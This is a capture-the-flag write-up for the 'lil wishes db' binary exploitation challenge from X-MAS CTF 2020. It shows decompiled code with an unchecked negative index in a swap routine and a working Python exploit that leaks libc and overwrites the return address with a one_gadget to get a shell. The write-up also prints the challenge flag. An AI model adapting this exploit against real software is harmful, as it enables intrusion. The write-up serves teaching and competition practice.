Tags: one_gadget pwnscripts oob 

Rating:

lil wishes db [359]

SOLVED

I don't want a lot for Christmas!

RCE is all I need

I don't care about protections

Underneath the RSP

Target: nc challs.xmas.htsp.ro 2002

Author: Th3R4nd0m

Files: lil_wishes_db.zip

The library used in the solution code is pwnscripts

Inspection

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols          FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols         No    0               2               chall

The only thing good here is that FORTIFY is off.

The binary provides a 4 option CLI menu:

Choose:
1.Swap IDs
2.Print database
3.Insert ID
4.Exit

The loop for the menu is vaguely:

int print_db(__int64 *db) {
  for (int i = 0; i <= 7; ++i)
    printf("ID[%d] = %llu\n", i, db[i]);
}
int swapIDs(unsigned __int16 id1, unsigned __int16 id2, __int64 *s) {
  __int64 tmp = s[id1];
  s[id1] = s[id2];
  s[id2] = tmp;
}
int main() {
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  __int64 db[9]; // [rsp+20h] [rbp-50h] this is the "database"
  memset(db, 0, 0x40uLL);
  int keep_running = 1;
  puts("Wishes database\n");
  while (keep_running) {
    puts("Choose:\n1.Swap IDs\n2.Print database\n3.Insert ID\n4.Exit\n\nOption: ");
    int opt, ind1, ind2;
    scanf("%d", &opt);
    puts(&nul);
    switch (opt) {
    case 2:
      print_db(db);
      break;
    case 3:
      unsigned index;
      puts("Index: ");
      scanf("%d", &index);
      if ( index <= 7 ) { // unsigned --> unbugged
        puts("Value: ");
        scanf("%llu", &db[index]);
      } else puts("Index should not be > 8");
      break;
    case 4:
      keep_running = 0;
      break;
    case 1:
      puts("Index 1:");
      scanf("%d", &ind1);
      puts("Index 2:");
      scanf("%d", &ind2);
      if ( ind1 <= 7 && ind2 <= 7 ) // lack of ind >= 0 check!
        swapIDs((unsigned __int16)ind1, (unsigned __int16)ind2, db); //unsigned index overflow!
      break;
    default:
      puts("Please choose one of the above");
    }
    puts(&nul);
  }
  puts("Merry Christmas!");
  return 0LL;
}

Option 1 is bugged with the ability to swap with any index within the range of a uint16_t. The exploit framework for this is rather simple:

  1. use the swap bug to get a libc address in db[0:8], then leak it with option 2.
  2. Write a rop chain to db[0:8] with option 3.
  3. Use the swap bug to shift it over to the return pointer & thereafter
  4. exit & let ROP work out.

Exploiting

We'll start by mapping out all of the options as python functions:

from pwnscripts import *
context.binary = 'chall'
context.libc_database = 'libc-database'
context.libc = 'libc.so.6'
r = remote('challs.xmas.htsp.ro', 2002)
def opt(v): r.sendlineafter('Option: \n', str(v))
def swap(id1, id2):
    opt(1)
    r.sendlineafter('Index 1:\n', str(id1))
    r.sendlineafter('Index 2:\n', str(id2))
def printIDs():
    opt(2)
    r.recvline()
    return [int(r.recvline().strip().split(b'= ')[-1]) for i in range(8)]
def insert(ID, v):
    opt(3)
    r.sendlineafter('Index: \n', str(ID))
    r.sendlineafter('Value: \n', str(v))
def rexit(): opt(4)

To leak libc, we'll grab the value of __libc_start_main_ret (libc-db symbol) from the return pointer of the function frame:

def negID(v): return u32(p16(v)+b'\x00\xf0', sign=True) # cheap way to exploit swap()
rtr_ind = 0x58//8   # db[] is at rbp-0x50.
swap(0,negID(rtr_ind))
context.libc.calc_base('__libc_start_main_ret', printIDs()[0])

Then, we'll just return to a one_gadget, which is particularly easy in this case (the requirement, [rsp-0x40]==NULL, is pre-fulfilled):

insert(0,context.libc.select_gadget(1))
swap(0, negID(rtr_ind))
rexit()
r.interactive()

I tried making a ROP chain for system(libc_binsh_str) as a more sensible method of exploiting the binary, but kept getting errors (SIGSEGV with rax == 0x10000001) during execution. Not entirely sure why.

In any case, the one_gadget worked fine:

Merry Christmas!
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x5e bytes:
    b'bin\n'
    b'boot\n'
    b'dev\n'
    b'etc\n'
    b'home\n'
...

Flag

X-MAS{oh_nooo_y0u_ru1ned_the_xmas}

Original writeup (https://github.com/IRS-Cybersec/ctfdump/tree/master/X-MASCTF2020/Binary%20Exploitation/lil%20wishes%20db).